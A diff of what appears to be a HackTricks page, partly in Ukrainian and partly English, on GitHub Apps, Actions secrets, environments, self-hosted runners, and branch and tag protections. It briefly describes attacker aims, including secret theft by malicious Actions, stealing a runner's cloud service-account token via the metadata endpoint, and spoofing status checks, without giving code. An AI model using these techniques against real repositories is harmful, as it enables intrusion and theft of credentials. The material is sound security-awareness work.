+- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Make sure the GitHub App integrates with **specific repositories**.
+- The GitHub App should **connect to a personal account or an organisation**.
+- Don't expect the GitHub App to know and do everything a user can.
+- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
+- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
+- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-Це **не спосіб аутентифікації в github**, але **зловмисна** Github Action може отримати **неавторизований доступ до github** і **в залежності** від **привілеїв**, наданих дії, можуть бути здійснені кілька **різних атак**. Дивіться нижче для отримання додаткової інформації.
+Це **не є способом автентифікації в github**, але **шкідлива** Github Action може отримати **несанкціонований доступ до github** і, **залежно** від **привілеїв**, наданих Action, може бути виконано кілька **різних атак**. Нижче наведено більше інформації.
 
 ## Git Actions
 
-Git дії дозволяють автоматизувати **виконання коду, коли відбувається подія**. Зазвичай виконуваний код є **якимось чином пов'язаним з кодом репозиторію** (можливо, створити контейнер Docker або перевірити, що PR не містить секретів).
+Git actions дозволяють автоматизувати **виконання коду при настанні події**. Зазвичай виконуваний код якось пов'язаний з кодом репозиторію (наприклад, збірка docker-контейнера або перевірка, що PR не містить секретів).
 
-### Налаштування
+### Конфігурація
 
-У _https://github.com/organizations/\<org_name>/settings/actions_ можна перевірити **налаштування github actions** для організації.
+В _https://github.com/organizations/\<org_name>/settings/actions_ можна перевірити **конфігурацію github actions** для організації.
 
-Можна заборонити використання github actions повністю, **дозволити всі github actions** або просто дозволити певні дії.
+Можна повністю заборонити використання github actions, **дозволити всі github actions**, або дозволити лише певні actions.
 
-Також можна налаштувати **хто потребує схвалення для запуску Github Action** та **дозволи GITHUB_TOKEN** Github Action, коли вона запускається.
+Також можна налаштувати, **хто потребує схвалення для запуску Github Action**, та **дозволи GITHUB_TOKEN** Github Action під час його виконання.
 
 ### Git Secrets
 
-Github Action зазвичай потребує деяких секретів для взаємодії з github або сторонніми додатками. Щоб **уникнути їх розміщення у відкритому тексті** в репозиторії, github дозволяє розміщувати їх як **Secrets**.
+Github Action зазвичай потребує деякого роду secrets для взаємодії з github або сторонніми застосунками. Щоб **уникнути розміщення їх у відкритому вигляді** в репозиторії, github дозволяє зберігати їх як **Secrets**.
 
-Ці секрети можуть бути налаштовані **для репозиторію або для всієї організації**. Тоді, щоб **Action могла отримати доступ до секрету**, вам потрібно оголосити його так:
+Ці secrets можна налаштувати **для репозиторію або для всієї організації**. Потім, щоб **Action отримав доступ до секрету**, ви повинні оголосити його таким чином:
 ```yaml
 steps:
 - name: Hello world action
@@ -168,75 +168,90 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Секрети **можна отримати лише з Github Actions**, які їх оголосили.
+> Secrets **можна отримати доступ лише з Github Actions**, які їх задекларували.
 
-> Після налаштування в репозиторії або організаціях **користувачі github не зможуть отримати до них доступ знову**, вони зможуть лише **змінювати їх**.
+> Після налаштування в repo або в організації **користувачі github не зможуть більше отримати до них доступ**, вони зможуть лише **змінювати їх**.
 
-Отже, **єдиний спосіб вкрасти секрети github - це мати доступ до машини, яка виконує Github Action** (в цьому сценарії ви зможете отримати доступ лише до секретів, оголошених для Action).
+Отже, **єдиний спосіб вкрасти github secrets — це отримати доступ до машини, яка виконує Github Action** (в цьому сценарії ви зможете отримати доступ лише до secrets, задекларованих для цієї Action).
 
 ### Git Environments
 
-Github дозволяє створювати **середовища**, де ви можете зберігати **секрети**. Потім ви можете надати github action доступ до секретів всередині середовища за допомогою чогось на зразок:
+Github дозволяє створювати **environments**, де ви можете зберігати **secrets**. Потім ви можете надати github action доступ до secrets всередині environment за допомогою чогось на кшталт:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-Ви можете налаштувати середовище, щоб до нього **мали доступ** **всі гілки** (за замовчуванням), **тільки захищені** гілки або **вказати**, які гілки можуть отримати доступ до нього.\
-Також можна встановити **кількість необхідних перевірок** перед **виконанням** **дії** за допомогою **середовища** або **почекати** деякий **час** перед тим, як дозволити розгортання.
+You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
+Additionally, environment protections include:
+- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
+- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
+- **Wait timer**: delay deployments for a configurable period.
 
+It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
 ### Git Action Runner
 
-Github Action може бути **виконаний у середовищі github** або може бути виконаний на **інфраструктурі третьої сторони**, налаштованій користувачем.
+A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
 
-Декілька організацій дозволяють запускати Github Actions на **інфраструктурі третьої сторони**, оскільки це зазвичай **дешевше**.
+Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
 
-Ви можете **перелічити самостійно хостовані ранери** організації за адресою _https://github.com/organizations/\<org_name>/settings/actions/runners_
+You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
-Спосіб знайти, які **Github Actions виконуються в не-github інфраструктурі**, - це шукати `runs-on: self-hosted` у конфігурації yaml Github Action.
+The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
 
-**Неможливо запустити Github Action організації всередині самостійно хостованого середовища** іншої організації, оскільки **унікальний токен генерується для Ранера** під час його налаштування, щоб знати, до якої організації належить ранер.
+It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
 
-Якщо кастомний **Github Runner налаштований на машині всередині AWS або GCP**, наприклад, Action **може отримати доступ до кінцевої точки метаданих** і **викрасти токен облікового запису служби**, з яким працює машина.
+If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
 
 ### Git Action Compromise
 
-Якщо всі дії (або шкідлива дія) дозволені, користувач може використовувати **Github action**, яка є **шкідливою** і **скомпрометує** **контейнер**, в якому вона виконується.
+If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
 
 > [!CAUTION]
-> Запуск **шкідливої Github Action** може бути **зловжито** зловмисником для:
+> A **malicious Github Action** run could be **abused** by the attacker to:
 >
-> - **Викрадення всіх секретів**, до яких має доступ Action
-> - **Бічного переміщення**, якщо Action виконується в **інфраструктурі третьої сторони**, де можна отримати доступ до токена SA, що використовується для запуску машини (можливо, через сервіс метаданих)
-> - **Зловживання токеном**, що використовується **робочим процесом**, щоб **викрасти код репозиторію**, в якому виконується Action, або **навіть змінити його**.
+> - **Steal all the secrets** the Action has access to
+> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
+> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
 
 ## Branch Protections
 
-Захист гілок призначений для **не надання повного контролю над репозиторієм** користувачам. Мета полягає в тому, щоб **встановити кілька методів захисту перед тим, як мати можливість писати код у деякій гілці**.
+Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
 
-**Захисти гілок репозиторію** можна знайти за адресою _https://github.com/\<orgname>/\<reponame>/settings/branches_
+The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> **Неможливо встановити захист гілки на рівні організації**. Тому всі вони повинні бути оголошені в кожному репозиторії.
+> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
 
-Різні захисти можуть бути застосовані до гілки (наприклад, до master):
+Different protections can be applied to a branch (like to master):
 
-- Ви можете **вимагати PR перед злиттям** (тому ви не можете безпосередньо зливати код у гілку). Якщо це вибрано, можуть бути застосовані різні інші захисти:
-- **Вимагати кількість схвалень**. Дуже поширено вимагати, щоб 1 або 2 інші особи схвалили ваш PR, щоб одна особа не могла безпосередньо зливати код.
-- **Відхиляти схвалення, коли нові коміти додаються**. Якщо ні, користувач може схвалити легітимний код, а потім користувач може додати шкідливий код і злити його.
-- **Вимагати перевірок від Власників Коду**. Принаймні 1 власник коду репозиторію повинен схвалити PR (щоб "випадкові" користувачі не могли його схвалити)
-- **Обмежити, хто може відхиляти перевірки запитів на злиття.** Ви можете вказати людей або команди, яким дозволено відхиляти перевірки запитів на злиття.
-- **Дозволити вказаним акторам обійти вимоги запиту на злиття**. Ці користувачі зможуть обійти попередні обмеження.
-- **Вимагати, щоб перевірки статусу пройшли перед злиттям.** Деякі перевірки повинні пройти перед тим, як зможете злити коміт (наприклад, github action, що перевіряє, чи немає явних секретів).
-- **Вимагати вирішення розмови перед злиттям**. Усі коментарі до коду повинні бути вирішені перед тим, як PR може бути злитий.
-- **Вимагати підписаних комітів**. Коміти повинні бути підписані.
-- **Вимагати лінійної історії.** Запобігти злиттю комітів, які були надіслані до відповідних гілок.
-- **Включити адміністраторів**. Якщо це не встановлено, адміністратори можуть обійти обмеження.
-- **Обмежити, хто може надсилати до відповідних гілок**. Обмежити, хто може надіслати PR.
+- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
+- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
+- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
+- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
+- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
+- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
+- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
+- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
+- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
+- **Require signed commits**. The commits need to be signed.
+- **Require linear history.** Prevent merge commits from being pushed to matching branches.
+- **Include administrators**. If this isn't set, admins can bypass the restrictions.
+- **Restrict who can push to matching branches**. Restrict who can send a PR.
 
 > [!NOTE]
-> Як ви можете бачити, навіть якщо вам вдалося отримати деякі облікові дані користувача, **репозиторії можуть бути захищені, що заважає вам надсилати код до master**, наприклад, щоб скомпрометувати CI/CD pipeline.
+> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+
+## Tag Protections
+
+Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
+
+1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
+2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
+3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
+
+This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
 
 ## References
 
@@ -245,5 +260,10 @@ Github Action може бути **виконаний у середовищі git
 - [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
 - [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
 - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
+- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
+- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../banners/hacktricks-training.md}}